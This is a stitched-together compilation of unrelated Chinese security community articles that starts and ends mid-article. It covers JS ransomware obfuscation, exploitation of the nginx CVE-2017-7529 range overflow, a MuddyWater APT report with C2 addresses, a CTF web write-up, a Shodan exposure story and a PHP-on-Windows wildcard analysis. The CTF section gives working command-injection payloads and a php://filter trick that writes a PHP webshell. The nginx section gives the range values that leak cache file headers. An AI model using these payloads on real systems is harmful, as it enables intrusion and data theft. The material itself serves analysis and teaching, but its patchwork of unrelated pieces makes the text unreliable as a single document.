样本1由于加密方式比较简单,所以很容易被杀毒软件查杀,为了进行反查杀,它的变种进行更加复杂的加密,如图3所示的样本就是目前比较流行的加密方式。
图 3:样本2
首先它为字符串定义一个daughters函数,通过此函数来完成对字符串的截取。
图 4:字符截取操作
然后在代码中插入一些无意义的变量进行混淆,如图5所示的变量abeUtGplX、ojfdmCwgalh、yHoFUfYVm和GapGRiqoRoK就是起到混淆代码的作用。
图 5:代码混淆
最后为了进一步达到免查杀目的,它将代码中将要使用的关键字定义到了一个数组nUvahxKnc中,它或者将关键字与和一些无意义的字符进行组合,或者将一个关键字拆分成几个不同的字符,在使用的时候再对字符进行拆分或者拼接操作。它还会在数组中插入一些无意义的字符进行代码混淆,而在脚本执行中动态地修改数组的长度从而去除那些无意义的字符,具体代码如图6所示。
图 6:使用数组进行代码混淆
样本最终的解密结果如图7所示:
图 7:解密后的样本2
**邮件传播**
黑客通过社会工程学,利用人们的好奇心,精心构造一封钓鱼邮件,将js敲诈者脚本放入到邮件附件中,当用户双击运行js文件时便会中招,常见的邮件形式如下图所示。
图 8:钓鱼邮件1
图 9:钓鱼邮件2
为了达到反查杀的目的,钓鱼邮件1中的js文件首先用到了字符拆分和拼接的方法,这些方法由于前面已经提到,不再进行分析。
其次它将主要的恶意代码放到一个if条件表达式中,通过调用Date.getMilliseconds和WScript.Sleep函数来获取几个不同的毫秒数,然后通过判断这几个变量值是否相等来决定是否执行if条件中的内容,如图10。
图 10:if表达式
钓鱼邮件1中的样本解密后如图11所示。
图 11:解密后的样本
通过分析加密后的代码,可以看出通过钓鱼邮件方式传播的js敲诈者和挂马传播方式不同的,它没有利用ActiveX控件来进行运行,而是选择使用WScript对象。由于windows操作系统中wscript.exe会为js脚本文件提供一个宿主环境,因此当邮件保持到本地后,双击js文件便会直接运行。
钓鱼邮件2中的样本是钓鱼邮件1的变种,为了达到进一步的反查杀效果,它在如下几个方面发生了变化。
首先它的if条件表达式发生了变化,它使用了/*@cc_on @*/条件编译,首先将Kcm赋
值为false,然后在条件编译中将Kcm的值赋值为true,如果杀毒软件对此没有特殊处理的话,就很难检测到下面的内容,具体代码见图12。
图 12:变化后的if条件表达式
其次在计算毫秒时,它使用的不再是Date.getMilliseconds函数,而换成了Date.getUTCMilliseconds函数来进行计算,具体见图12。
钓鱼邮件2的样本解密后如图13所示。
图 13:解密后的样本
还有一种类型的js样本,样本中经过加密的关键字需要使用特定的函数进行解密。如图14,样本中加密的值要调用adjurepe6函数才能进行解密,而它为了提高复杂性,在adjurepe6函数中需要再次调用btoa函数,只有经过这两个函数的解密才能得到最终的结果。
图 14:使用函数加密
js代码使用escape函数进行加密而躲避查杀的情况也比较常见,此函数会同eval函数一起使用。使用时首先通过unescape函数对字符串进行解码,然后通过eval函数将字符串转化为js代码。此种手法在以前的js敲诈者样本中也经常碰到,但是以前是对整个js脚本进行加密,而现在它们只对部分代码进行加密,而未加密的部分又要使用加密部分定义的函数和变量,如图15和16所示。
图 15:加密的代码
图 16:未加密的代码
可以看到detectDuplicates、matchesSelector、fragment和string函数中所使用的addHandle在未加密代码中是无法找到的,而加密代码解密后,可以看到addHandle值为eval。代码经过解密后,主要的代码如图17所示。
图 17:解密后的脚本
通过上面的分析可以看到为了达到反查杀的目的,js敲诈者使用了各种代码混淆和加密的方法,甚至使用了类似于/*@cc_on
@*/条件编译的用法。由于这种病毒有经济上的利益,因此它们的更新速度特别快,360安全中心会密切关注这类病毒的最新动向,第一时间为用户提供有效的防护方案。 | 社区文章 |
作者：[平安科技银河实验室](http://galaxylab.org/cve-2017-7529-nginx%E6%95%B4%E6%95%B0%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)
#### 1、漏洞描述
在 Nginx 的 range filter 中存在整数溢出漏洞，可以通过带有特殊构造的 range 的 HTTP
头的恶意请求引发这个整数溢出漏洞，并导致信息泄露。
#### 2、影响程度
攻击成本：低
危害程度：低
影响范围：Nginx 0.5.6 – 1.13.2
#### 3 、漏洞原理
###### 3.1 HTTP 断点续传：Range
HTTP 的 Range 允许客户端分批次请求资源的一部分，如果服务端资源较大，可以通过 Range 来并发下载；如果访问资源时网络中断，可以断点续传。
Range 设置在 HTTP 请求头中，它是多个 byte-range-spec (或 suffix-byte-range-spec )的集合；
byte-range-set = ( byte-range-spec | suffix-byte-range-spec )*N
byte-range-spec = first-byte-pos "-" [last-byte-pos]
suffix-byte-range-spec = "-" suffix-length
其中，first-bytes-pos 指定了访问的第一个字节，last-byte-pos 指定了最后一个字节，suffix-length
则表示要访问资源的最后 suffix-length 个字节的内容；例如：
`Range:bytes=0-1024` 表示访问第 0 到第 1024 字节；
`Range:bytes=500-600,601-999，-300` 表示分三块访问，分别是 500 到 600 字节，601 到 600 字节，最后的
300 字节；
在 Response 头中设置:
`Accept-Ranges:bytes` 表示接受部分资源的请求；
`Content-Range: bytes START-END/SIZE` 表示返回的资源位置；其中 SIZE 等于 Content-Length
;如：Content-Range: bytes 500-600/1000
###### 3.2 Nginx Range Multipart
如果一次请求有多个 range，返回的数据需要 multipart 来组织；格式如下：
HTTP/1.1 206 Partial Content
Date: Wed, 15 Nov 1995 06:25:24 GMT
Last-Modified: Wed, 15 Nov 1995 04:58:08 GMT
Content-type: multipart/byteranges; boundary=THIS_STRING_SEPARATES
--THIS_STRING_SEPARATES
Content-type: application/pdf
Content-range: bytes 500-999/8000
...the first range...
--THIS_STRING_SEPARATES
Content-type: application/pdf
Content-range: bytes 7000-7999/8000
...the second range
--THIS_STRING_SEPARATES--
Nginx 对 Range 的支持包括 header 处理和 body 处理，分别用来解析客户端发送过来的 Range header
和裁剪返回给客户端的请求数据 Body。其实现分别由 `ngx_http_range_header_filter_module` 和
`ngx_http_range_body_filter_module` 两个过滤模块完成。
在 `ngx_http_range_header_filter_module` 中调用了 `ngx_http_range_header_filter`
函数，而该函数进一步调用了 `ngx_http_range_parse` 函数来解析 header 中的 Range 字段；分别调用
`ngx_http_range_singlepart_header` 和 `ngx_http_range_multipart_header` 来生成
single range 和 multi ranges 的 Response Header；
这次的问题就出现在多个 range 时， `ngx_http_range_parse` 函数对 suffix-length 的处理；
###### 3.3 Nginx Cache
Nginx 可以作为缓存服务器，将 Web
应用服务器返回的内容缓存起来。如果客户端请求的内容已经被缓存，那么就可以直接将缓存内容返回，而无需再次请求应用服务器。由此，可降低应用服务器的负载，并提高服务的响应性能。
下面是使用 Nginx 作为缓存服务器的一个示例。假设 Nginx 监听本地80端口，反向代理百度，那么就有如下配置：
此时，我们访问 http://127.0.0.1 ，即可得到百度的返回：
检查页面资源，存在一个[静态图片文件](http://www.baidu.com/img/bd_logo1.png)。由于这类静态文件一般不会发生变化，我们可以将其缓存起来。
Nginx 配置缓存主要由以下命令完成：
`proxy_cache_key` 用于区分 cache 文件。
`proxy_cache_path` 设置 cache 文件的路径和参数。
* cache 文件会保存在指定的目录下面，文件名是 cache key 的 MD5 值
* 通过 level 参数将 cache 文件分多层目录保存，以避免某个目录下存在大量文件造成的性能开销
* 通过 keys_zone 参数指定 cache key 在内存中的区域及其大小，1M 的区域大概可以保存 8000 条 key 的信息
`proxy_cache_valid` 对不同返回状态值设定 cache 有效时间
例如，下面这条配置：
指定了以下信息：
使用协议、请求方法、域名、URI 作为 cache key
cache文件保存在目录 `/tmp/Nginx/` 下，采取两层目录，keys_zone 名称为 my_zone，大小为 10M
对于返回状态值为 200 的内容，cache 有效时间为 10 分钟
现在，我们配置好了名为 my_zone 的 cache，接下来选择对目录 www.baidu.com/img/ 下的图片做缓存。首先，仍然是设置反向代理：
接下来，我们使用下列命令对 img 目录下的文件进行缓存：
配置命令解释如下：
`proxy_cache` 指定使用的 keys_zone 名称，就是之前的 my_zone
`add_header` 在 Nginx 返回的 HTTP 头中，增加一项 X-Proxy-Cache，如果缓存命中其值为 HIT，未命中则为 MISS
`proxy_ignore_headers` 由于百度对图片的请求也会 Set-Cookie 设置，而 Nginx 不会缓存带有 Set-Cookie
的返回，因此我们这里设置忽略该 HTTP 头
现在，对图片的缓存配置就完成了，完整的配置内容如下
我们使用 curl 命令进行实验，访问 http://127.0.0.1/img/bd_logo1.png 。由于是第一次访问，可以看到返回内容中
X-Proxy-Cache 的值为 MISS：
再次访问时，此时缓存命中，X-Proxy-Cache 的值为 HIT 了
那么现在的 Cache 文件是什么样的呢？我们检查设置的缓存目录 /tmp/Nginx，发现存在以下 Cache 文件：
可见，确实使用了2层目录保存了 Cache 文件。Cache 文件保存了 Nginx 请求得到的返回内容：
可以看到，cache key 的内容保存在了 Cache 文件的头部，此外还有 Nginx 请求后端返回的 HTTP 头，如后端（这里是
www.baidu.com ）的服务器为 Apache。正常情况下，这些信息是不会返回给客户端的。而本次的的漏洞，就是由于负数偏移量，导致 Cache
文件的头部信息也被返回，从而造成信息泄漏。
#### 4 、漏洞原理
首先，我们看这次漏洞修复的 commit:
可以看到，在 `ngx_http_range_filter_module.c` 的 `ngx_http_range_parse` 函数中做了两处修复：
* 进一步检测了 size 的溢出情况，防止 size 溢出后造成小于 content-length 这条判断的绕过
* 则直接限定了使用后缀的情况下，start 不能为负的，最小只能是 0，也就是说使用 “-xxx” 的方式对 Cache 文件的读取只能从 0 开始到结束。
根据漏洞修复 commit 的注释，我们知道这次漏洞的主要成因就是 bytes-range 读取的起始范围可能为负数，从而读取缓存文件头部。
首先，如果传入完整的 range 参数，如 start-end，则在 `ngx_http_range_parse()` 中会检查
start，确保其不会溢出为负值：
因此，如果需要将 start 解析为负数，只能通过 -end 这类后缀型 range 参数实现:
此时的 start 等于 content-length 减去读入的 end 值，所以如果传入的 end 比实际长度还要长，就可以使 start
变为负数，而这就是第二处修复所处理的情形：
同时注意到，在这类情况下，最终 end 的值会被设定为 content-length-1。所以这块 range 的总长度就超过了 content-length。而 Nginx 对 range 总长度会有检查：
一般来说，range 作为原始文件的一部分，其长度应该是小于 content-length 的。所以一旦计算得到的 size 比 content-length 还大，那就直接将原始文件返回了，不再进行 range 处理。为了绕过这一限制，我们就需要利用到第一处修复所处理的情形。
具体而言，检查用到的 size 是将 multipart 的全部 range 长度相加得到的：
因此，一个 range 是不够的，我们至少需要两个 range，其长度之和溢出为负数，就可以绕过总长度的检查了。
要得到一个很大长度的 range，同样可以采用 -end 这种后缀型，将 end 设置为一个非常大的数即可。此处的 start, end, size 均为
64 位有符号整形，所以只需要最终相加得到的 size 为 0x8000000000000000 即可。
#### 5 、漏洞利用
本次复现利用使用 Nginx-1.12.0
作为缓存服务器，缓存配置同上文，访问的目标文件仍然是http://www.baidu.com/img/bd_logo1.png 。
首先，我们不指定 range，得到该图片文件的长度为 7877:
设置第一段 range 为 -8500，此时的 start 为 7877-8500=-623，即图片在 Cache 文件偏移之前的 623 bytes
也会被返回，而这 623 bytes 中就包含了 Cache 文件头部。
下一步，按照上文所说，第二段 range 的长度需要将总长度溢出。我们的目标总和 size 为 0x8000000000000000，第一段 range
长度为 8500，故第二段 range 长度为 0x8000000000000000-8500=9223372036854767308。
于是，使用 curl 命令，配合 -r 参数指定 bytes range：
可以看到返回内容中，第一段即为 -8500 的 range，而这一段中我们就看到了 Cache 文件头部，例如 cache key 以及后端服务器返回的
HTTP 头。
#### 6、漏洞修复
综合来看，这个漏洞就是整数溢出漏洞的利用，能够从 Cache 文件中获取 Cache 头的信息。在某些配置的情况下 Cache 头中会存在 IP
地址信息，造成信息泄露。
就 Nginx 模块以及常用的第三方模块本身来说，无法通过这个整数溢出来对内存进行操作或者远程执行。
建议升级到 1.13.3 和 1.12.1 版本；如果不能升级，可以在 Nginx 配置文件中添加 max_ranges 1，从而禁用 multipart
range。
* * * | 社区文章 |
# 疑似MuddyWater APT组织针对伊拉克移动运营商攻击活动分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
近期，360威胁情报中心截获到一个针对伊拉克移动运营商（Korek
Telecom）的定向攻击样本。该运营商是伊拉克发展最快的移动公司，服务于伊拉克的18个省份，为企业、政府和个人用户提供服务。攻击样本使用鱼叉式钓鱼邮件进行投递：诱导受害者打开附件Office
Word文档，并启用恶意宏。恶意宏代码最终会释放执行PowerShell
后门，从而实现对受害者计算机的远程控制。360威胁情报中心经过溯源和关联后发现，该攻击活动疑似与MuddyWater
APT组织相关，并溯源和分析了多个与之相关的恶意样本。
MuddyWater APT组织可能来自伊朗[1]，其相关活动可追溯到2017年初，其主要针对政府机构、通信和石油公司。2017年11月，Palo
Alto在对多个攻击进行关联分析后，将该组织命名为MuddyWater[2]。进入2018年后，其目标地区不再局限于伊朗和沙特，更是拓展到了亚洲、欧洲和非洲[3]，目标性质也涵盖了军事实体、教育机构等。
## 样本分析
### 钓鱼邮件
文件名 | missan dashboard.msg
---|---
MD5 | 83c31845c0de88578cf94c9655654795
攻击者伪装为公司内部人员，在邮件中提到3月报告有错误，并指出在附件中有详细描述，从而诱使受害者下载并打开附件中的诱饵文档：
[通过收件人邮箱@korektel.com](mailto:%E9%80%9A%E8%BF%87%E6%94%B6%E4%BB%B6%E4%BA%BA%E9%82%AE%E7%AE%[email protected])，我们发现该受害者邮箱是伊拉克移动运营商Korek企业邮箱：
考虑到邮件相关内容与公司日常业务有关，因此我们怀疑本次攻击活动是针对该企业的一次定向攻击活动。
### Dropper
文件名 | Missan dashboard.doc
---|---
MD5 | 806ADC79E7EA3BE50EF1D3974A16B7FB
附件中的Office Word文档含有恶意的宏代码，通过模糊化文档背景内容来诱导受害者启动宏：
一旦受害者启动宏，恶意宏代码便会执行，随后弹出虚假报错窗口，从而误导受害者：
恶意宏代码隐藏在窗体中，猜测是为了增加检测的难度：
宏代码将PowerShell启动脚本写入注册表HKEY_CURRENT_USER\Software\Classes\CLSID\\{769f9427-3cc6-4b62-be14-2a705115b7ab}\Shell\Manage\command，并在启动项下写入数据，当受害者用户重启或登录系统都会执行该PowerShell：
之后将配置文件写入c:\windows\temp\picture.jpg：
最后释放c:\windows\temp\icon.ico，该文件用于后续启动PowerShell进程：
### PowerShell
PowerShell经多层混淆以干扰分析人员分析，经处理后的代码如下：
代码首先从c:\windows\temp\picture.jpg读取配置文件，经Base64解码处理后执行：
第二阶段的PowerShell脚本如下：
可见脚本依旧混淆严重，经多层解混淆后得到PowerShell后门，该后门为MuddyWater常用的POWERSTATS后门：
### POWERSTATS后门
后门在运行时首先获取计算机系统名、计算机名、用户名以及IP等信息：
当前计算机公网IP通过访问icanhazip.com获取：
将获取的信息以“**”链接，并加密处理：
之后与C2（46.105.84.146）通信，若返回数据为”done”则继续执行：
获取的信息将被加密发送到C2，以获取远程命令：
命令分发函数如下：
命令功能描述如下：
**命令** | **功能**
---|---
upload | 下载文件
cmd | 利用cmd执行数据
b64 | 将数据经Base64解码后调用PowerShell执行
其他 | 直接调用PowerShell执行数据
## 溯源与关联
360威胁情报中心通过对此次攻击活动的TTPs以及木马进行关联分析后发现，此次攻击活动疑似与MuddyWater APT组织相关。
### TTPs
本次攻击活动手法与之前MuddyWater的攻击活动相似，诱饵文档都利用模糊图片诱导受害者启用宏，且宏在启动后都会弹出错误提示框误导用户。卡巴斯基[3]曾曝光多个MuddyWater攻击样本如下：
可见其诱饵文档手法与本次攻击活动基本一致。
### PowerShell后门
本次攻击使用的是MuddyWater组织常用的POWERSTATS后门：
### 大数据关联
样本的C2信息在360威胁情报分析平台（ti.360.net）已被打上MuddyWater相关标签：
### 拓展
通过公开威胁情报信息关联，360威胁情报中心发现多个疑似MuddyWater组织近期发起的攻击活动，相关信息如下。
#### 相同的POWERSTATS后门
**诱饵文件名（包含恶意宏代码）** | **MD5**
---|---
Gladiator_CRK.doc | 09aabd2613d339d90ddbd4b7c09195a9
Important Report.doc | 0d69debf5b805b0798429e5fca91cb99
Gladiator_CRK.doc
基于公开威胁情报信息关联到与本次攻击活动后续后门相同的另外两个诱饵文档。通过其诱饵文档内容，我们发现该攻击活动目标疑似与伊拉克库尔德斯坦有关：
#### 新的PowerShell后门
**诱饵文件（包含恶意宏代码）MD5**
---
cf3c731ca73ddec5d9cdd29c680c0f20
与MuddyWater组织惯用手法一致，通过背景内容的模糊化来诱导用户启用宏：
与之前的样本类似，宏隐藏在窗体中。宏代码将释放配置文件到C:\ProgramData\Win32ApiSyncLog.txt，并执行文件C:\ProgramData\Win32ApiSync.bat。之后再在启动目录下释放Win32ApiSyncTskSchdlr.bat用于把Win32ApiSync.bat添加到计划任务启动：
Win32ApiSync.bat利用PowerShell读取执行Win32ApiSyncLog.txt，经多层去混淆后得到最终的PowerShell后门如下：
此后门似乎是重写的新后门，但其与之前使用的后门也具有较大的相似性，比如都会把获取的计算机基本信息以“*”连接后再计算MD5：
然后与C2（94.23.148.194/serverScript/clientFrontLine/helloServer.php）尝试通信，当C2返回“BYE”时则重复尝试上线请求，否则进行后续操作：
之后将获取的加密信息发送到C2（
http://94.23.148.194/serverScript/clientFrontLine/getCommand.php）以获取指令，获取的指令将被保存到全局变量gLobAl:GetCMdREsULt中：
指令执行后的结果将被发送到：94.23.148.194/serverScript/clientFrontLine/setCommandResult.php
## 总结
MuddyWater组织从被发现至今有两年左右的时间，期间该组织就实施了大量的攻击行动，并在攻击过程中使用了多种公开的或自有的恶意程序。攻击者通过不断改进他们的工具库，以减少被安全公司发现的可能性。
该组织很擅长社会工程学，通过向目标定向发送各类诱饵文档进行攻击，诱饵文档通常通过恶意宏来执行后续代码。这种攻击方式需要更多的用户交互，尽管这样会降低其攻击的成功率，但可以通过更有针对性的邮件内容和更具迷惑性的文档信息来提高成功率。此外，相对于使用Office
0day，这类攻击具有很好的成本优势，因此仍被许多攻击组织大量采用。企业用户应尽可能小心打开来源不明的文档，如有需要可通过打开Office
Word文档中的：文件-选项-信任中心-信任中心设置-宏设置，来禁用一切宏代码执行。
目前，基于360威胁情报中心的威胁情报数据的全线产品，包括360威胁情报平台（TIP）、天擎、天眼高级威胁检测系统、360
NGSOC等，都已经支持对此类攻击的精确检测。
## IOC
**MD5**
---
83c31845c0de88578cf94c9655654795（missan dashboard.msg）
806adc79e7ea3be50ef1d3974a16b7fb（Missan dashboard.doc）
09aabd2613d339d90ddbd4b7c09195a9（Gladiator_CRK.doc）
0d69debf5b805b0798429e5fca91cb99（Important Report.doc）
a61b268e9bc9b7e6c9125cdbfb1c422a（Report-20190316.zip）
cf3c731ca73ddec5d9cdd29c680c0f20
**C &C**
46.105.84.146:80
94.23.148.194/serverScript/clientFrontLine/helloServer.php
94.23.148.194/serverScript/clientFrontLine/getCommand.php
94.23.148.194/serverScript/clientFrontLine/setCommandResult.php
## 参考链接
1. https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/
2. https://unit42.paloaltonetworks.com/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/
3. https://securelist.com/muddywater/88059/
4. https://securityaffairs.co/wordpress/78748/apt/muddywater-infection-chain.html
5. https://twitter.com/360TIC/status/1108616188173520896 | 社区文章 |
# EDU-CTF Final 2018 Web小记
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
当时比赛的时候正在复习期末，根本没空玩。昨天忙完，终于有时间仔细看看了。
## TwoFile
直接给出源码，要命令执行
<?php
highlight_file(__FILE__);
$file1 = $_GET['f1'];
$file2 = $_GET['f2'];
// WAF
if(preg_match("/'|"|;|,|`|*|\|n|t|r|xA0|{|}|(|)|<|&[^d]|@|||ls|cat|sh|flag|find|grep|echo|w/is", $file1))
$file1 = "";
if(preg_match("/'|"|;|,|`|*|\|n|t|r|xA0|{|}|(|)|<|&[^d]|@|||ls|cat|sh|flag|find|grep|echo|w/is", $file2))
$file2 = "";
// Prevent injection
$file1 = '"' . $file1 . '"';
$file2 = '"' . $file2 . '"';
$cmd = "file $file1 $file2";
system($cmd);
首先来看看最后的执行
$cmd = "file $file1 $file2";
system($cmd);
`system`函数执行file命令，而后面有两段是可控的。
来看看file命令的使用：<http://man.linuxde.net/file>
语法：file(选项)(参数)
选项：
> -b：列出辨识结果时，不显示文件名称；
> -c：详细显示指令执行过程，便于排错或分析程序执行的情形；
> -f<名称文件>：指定名称文件，其内容有一个或多个文件名称时，让file依序辨识这些文件，格式为每列一个文件名称；
> -L：直接显示符号连接所指向的文件类别；
> -m<魔法数字文件>：指定魔法数字文件；
> -v：显示版本信息；
> -z：尝试去解读压缩文件的内容。-z：尝试去解读压缩文件的内容。
首先不考虑任意命令执行的可能，只用file命令去读文件。那么如何去绕过WAF和Prevent
injection呢。观察WAF之后发现了一个漏洞点：waf是用`\`来过滤反斜线的。而查资料之后可以发现
正确的正则匹配反斜线应该是`\\`,而``就可以在最后执行的语句中出现了，而反斜杠的使用就可以轻松绕过Prevent
injection。就能结合file命令的选项去读文件了。
下面给出几个payload：
其实file命令本身的`-f`参数就能直接读文件了
`$file1`:`-f`
`$file2`:`/etc/hosts`
最后传进去的命令`file "-f" "/etc/hosts"`
`-f`参数将文件的内容当作文件名去读取，若文件不存在的话就可以在报错中看到内容。因为waf了`w`所以读取`/etc/hosts`,这里并没有使用到通配符绕过,因为file1处并没有使用反斜杠，所以后面的内容是被双引号括起来的，通配符不被识别。
或是`-m`参数
`$file1`：`-m`
`$file2`:`/etc/hosts`
最后传入`file "-m" "
/etc/hosts"`，然而不知道为什么我在终端跑可以，在php这里执行就没回显，如果有师傅知道请指点一波。我感觉是双引号的锅，$cmd是被双引号括起来的，应该发生了一些东西。
然后是通过`f1`传入反斜杠来读取文件。
在转义掉双引号之后，可以使用通配符来绕过关键词。比如我在根目录创建了flag文件。
`$file1`: ``
`$file2`: `-m /fl?g 2>&1 #`(注意空格和url编码之后传参)
2>&1 ：接着，标准错误输出重定向（等同于）标准输出，因为之前标准输出已经重定向到了空设备文件，所以标准错误输出也重定向到空设备文件。
这里如果不加2>&1的话是执行不了的。原因应该和上面那个一样
-f的话就不需要了
`$file1`: ``
`$file2`: `-f /f?ag #`
或者
使用$1来绕过。
`$file1`: ``
`$file2`: `-f /fl$1ag #`
在linux中，$1作为一个变量，默认为空，同样达到了bypass关键词的效果。
或是考虑执行其他命令的情况，这个我在比赛的时候就想到了，读文件有好多别的方法：<https://blog.csdn.net/yuyongpeng/article/details/1818713>
我这里用tac。那么要怎么分隔两个命令呢？我这里用的是%0a，可以轻松绕过正则中的`n`，相信这一点大家在sql注入中遇到的太多了。
`/?f1=&f2=%20%0atac /f?ag%0a`
## HackerTyper
由于环境没有了，所以我这里把关键代码拿出来看的。
<?php
$sandbox = "/var/www/html/sandbox/" . md5($_SERVER['REMOTE_ADDR'] . "QQ");
@mkdir($sandbox);
@chdir($sandbox);
$path = 'code.txt';
if ( isset($_GET['_']) && isset($_GET['f']) ) {
$_ = $_GET['_'];
$f = $_GET['f'];
if(preg_match("/h/is", pathinfo($f, PATHINFO_EXTENSION)))
die("No h4cker will use h :p");
$c = "Q____Q" . base64_encode($_);
$path = 'sandbox/' . md5($_SERVER['REMOTE_ADDR'] . "QQ") . '/' . $f;
echo $path;
@file_put_contents($f, $c);
}
?>
题目思路很清晰，绕过waf写shell。
waf是文件后缀不能带有`h`，而且shell的内容会被`base64_encode`然后最前面拼接上`Q____Q`
一步一步来分析。首先是后缀的bypass
关键代码：
if(preg_match("/h/is", pathinfo($f, PATHINFO_EXTENSION)))
die("No h4cker will use h :p");
可以利用`pathinfo($f, PATHINFO_EXTENSION)`的漏洞来绕过waf。首先来做个实验。
pathinfo($f, PATHINFO_EXTENSION)获取的是`.`后面的内容，绕过出现两个`.`，最后结果是后面一个`.`后面的内容
所以只要使用`ylg.php/.`就能简单绕过。
因为会给内容自动`base64_encode`,所以只要输入来做`base64 decode`就可以将shell写入了。
这里可以使用`php://filter`来控制`base64_decode`的输入。可以参考p牛的文章：<https://www.leavesongs.com/PENETRATION/php-filter-magic.html> 很经典的绕过姿势。想起来去年NCTF2017的时候还见过。
`base64_encode('<?php system($_GET[1])?>aa')`
的结果`PD9waHAgc3lzdGVtKCRfR0VUWzFdKT8+YWE=`
* `echo urlencode(base64_decode("aaPD9waHAgc3lzdGVtKCRfR0VUWzFdKT8+YWE="));`
为什么要在前面加aa呢，因为base64算法解码时是4个byte一组，所以给他增加2个`a`,和前面的`Q_____Q`一共8个字符。
最后Payload:
`/?f=php://filter/convert.base64-decode/resource=ylg.php/.&_=i%A3%C3%F7%06%87%02%077%977FV%D2%82E%F4tUE%B3%15%D2%93%F3%E6%16`
成功写shell~
## 后记
这次比赛确实挺有意思的，可惜了当时在期末考试没时间做。 | 社区文章 |
# 通过shodan寻找不受保护的云服务器控制台
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://blog.evident.io/blog/2016/4/11/shodan-reveals-unprotected-cloud-cluster-controls>
译文仅供参考，具体内容表达以及含义原文为准。
Daniel
W.Dieterle在其研究报告中写到:“当我在研究Web服务器框架时,我发现了一个非常奇怪的东西。我发现云服务器控制平台中的安全保护机制实际上并不能提供有效的安全保障。在Shodan搜索引擎的帮助下,我可以找到那些不受保护的云服务器控制平台。”
现在,很多的网络应用程序都已经在广泛使用基于Python的Twisted
Web服务器了。在过去的几年中,我发现很多开发人员会使用特定的版本来处理各种不同的任务,而此前我在开发项目时曾遇到过一个之前从未见过的版本。
Shodan所能搜集到的信息是极其惊人的。凡是链接到互联网的红绿灯、安全摄像头、家庭自动化设备以及加热系统等等都会被轻易的搜索到。Shodan真正值得注意的能力就是它能找到几乎所有和互联网相关联的东西,而Shodan真正的可怕之处就是这些设备几乎都没有安装安全防御措施,我们可以随意进入这些系统。
如果你在Shodan搜索引擎(专门用于搜索联网设备的搜索引擎)中搜索“Twisted
Web服务器”,你将会得到一些非常奇怪的搜索结果,而且这些搜索结果我都不一定看得懂。搜索引擎会返回一个特定的版本(10.2.0),从表面上看这貌似是某种云服务器的控制接口。
如果你访问“Shodan.io”网站,并搜索“twistedweb/10.2.0”,浏览器将会把所有有问题的系统全部罗列出来,具体情况如下图所示:
在这些系统中,有一些服务器是有密码保护的,而有的服务器却完全没有任何的密码保护机制。如果服务器中存在密码保护机制,那么Shodan的查询结果中会包含有一个login.html文件。对于那些完全没有密码保护的服务器而言,Shodan的返回结果是一个指向index.html的链接地址。
这也就意味着,Shodan能够找到所有对外完全公开的服务器管理接口,我们只需要在搜索框中输入“twistedweb/10.2.0
index.html”并按下回车键,我们就可以得到想要的答案,具体情况如下图所示:
正如上图所示,我们可以看到搜索引擎返回了超过七百条查询结果。从下图中可以看到,这些设备似乎是DataStax公司的云存储服务器集群:
Datastax在其发布的YouTube视频中向用户解释称,用户可以通过这个接口来控制和监视服务器存储集群的运行状态。我认为这些内容真的完全不应该在网上全部公布出来。
一般而言,这些服务器的控制面板必须要有一个用户登录的机制来保护系统的安全,但很明显Datastax并没有选择这样做。
Tim
Prendergast是Evident.io的联合创始人之一,同时他也是Evident.io的CEO。他认为:“我们在这里所看到的事情就是一个典型的失败案例,技术人员并没有在服务器的管理接口设置恰当的安全控制措施。如果管理接口没有一定的安全保护,那么远程攻击者就可以在没有经过身份验证的情况下链接至数据服务器,并获取到服务器的管理权限。”
“这种情况往往是技术人员在公司业务的压力下所导致的,公司要求他们去解决一些非常复杂的问题,但是却没有提供足够的时间和资金来支持技术人员这方面的工作,导致产品团队没有在这些基础设施和产品服务上设置基本的安全保护措施。如果这些产品中部署了基本的安全保护控制,那么往往就可以从源头上防止这类安全事件的发生。如果技术人员的安全保护措施设置得当,那么甚至还可以防止企业员工的人为操作失误所带来的安全隐患。”
一般而言,我们肯定是有办法来保护这些云服务器系统的安全的,或者是提醒云端用户这些云服务器中存在有一定的安全问题。
类似ESP这样的工具可以防止这些安全设计缺陷被攻击者所利用,这类工具可以为云服务器的管理人员提供和部署全面可视化的安全保障控制。除此之外,你还可以利用这类工具所提供的自定义签名功能来针对不同的云服务器设计出特定的安全控制方案。
唯一一个能够保护你的组织不受这类安全威胁影响的方法就是在企业的云服务器中部署持续性的安全保护措施。
正如我们所看到的那样,在Shodan搜索引擎的帮助下,我们可以轻而易举地找出全世界范围内所有缺少安全保护控制的云服务器。而且我们也可以轻易地找出哪些系统有登录控制保护(我希望这类系统采用的均是健壮的密码),而哪些系统没有登录控制。当然了,云服务器的优点是很明显的,但无论是哪种计算资源,我们都应该为其设置适当的安全保护措施来保护数据的安全。 | 社区文章 |
# 0x00 前言
很早之前就有国外的安全研究人员发现PHP语言在Windows上的一些奇妙特性：
* 大于号(>)相等于通配符问号(?)
* 小于号(<)相当于通配符星号(*)
* 双引号(")相当于点字符(.)
具体文章参见：<https://soroush.secproject.com/blog/2014/07/file-upload-and-php-on-iis-wildcards/>
那么问题来了，根本原因是什么呢？是PHP语言本身的问题还是Windows的锅呢？
# 0x01 分析
处于对这个问题的好奇，笔者进行了一下的挖掘和分析。
在分析之前为了避免自己做了无用功，先Google了一番，找到了以下这些文章且都是通过Fuzz的方法发现的，并没有太多资料解释更深层次的原因。
* <https://github.com/ironbee/ironbee-rules/blob/master/support/php/test_fs_evasion.php>
* <http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/>
## 静态分析
既然没有现成的解释，那么我们便可以自己动手分析以下。
首先，下载PHP的源代码进行尝试进行静态分析。
git clone https://github.com/php/php-src
git checkout PHP-7.2.1
随便选取一个可以操作文件的PHP方法, 如`getimagesize`.
尝试进行全局搜索，我们在`\php-src\ext\standard\image.c`的第1501-1506行发现了该方法的具体定义：
/* }}} */
/* {{{ proto array getimagesize(string imagefile [, array info])
Get the size of an image as 4-element array */
PHP_FUNCTION(getimagesize)
{
php_getimagesize_from_any(INTERNAL_FUNCTION_PARAM_PASSTHRU, FROM_PATH);
}
